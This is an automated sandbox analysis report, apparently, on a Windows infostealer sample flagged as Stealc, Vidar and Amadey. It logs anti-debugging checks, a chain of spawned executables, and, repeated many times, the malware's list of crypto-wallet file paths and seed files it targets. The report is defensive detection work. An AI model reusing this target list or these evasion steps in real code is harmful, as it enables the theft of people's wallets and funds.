Code function: 14_2_05110AF9 rdtsc

14_2_05110AF9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9C5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C963480

Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004D652B mov eax, dword ptr fs:[00000030h]	14_2_004D652B
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004DA302 mov eax, dword ptr fs:[00000030h]	14_2_004DA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E8A302 mov eax, dword ptr fs:[00000030h]	15_2_00E8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E8652B mov eax, dword ptr fs:[00000030h]	15_2_00E8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E8A302 mov eax, dword ptr fs:[00000030h]	16_2_00E8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E8652B mov eax, dword ptr fs:[00000030h]	16_2_00E8652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C99B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C99B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB4AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4340, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKFBAAFCGI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KKFBAAFCGI.exe "C:\Users\user\Documents\KKFBAAFCGI.exe"	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB94760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CB94760

Source: skotes.exe, skotes.exe, 00000010.00000002.2746550153.0000000001089000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3365558410.0000000001089000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: LProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2684981557.0000000000CAF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 1PProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C99B341 cpuid

0_2_6C99B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9635A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9635A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 16.2.skotes.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.KKFBAAFCGI.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3364528536.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2716334004.00000000004A1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2746064042.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2746813469.0000000000E51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2126870772.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2684323133.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4340, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4340, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2684323133.0000000000985000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684323133.0000000000A37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2685963034.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local 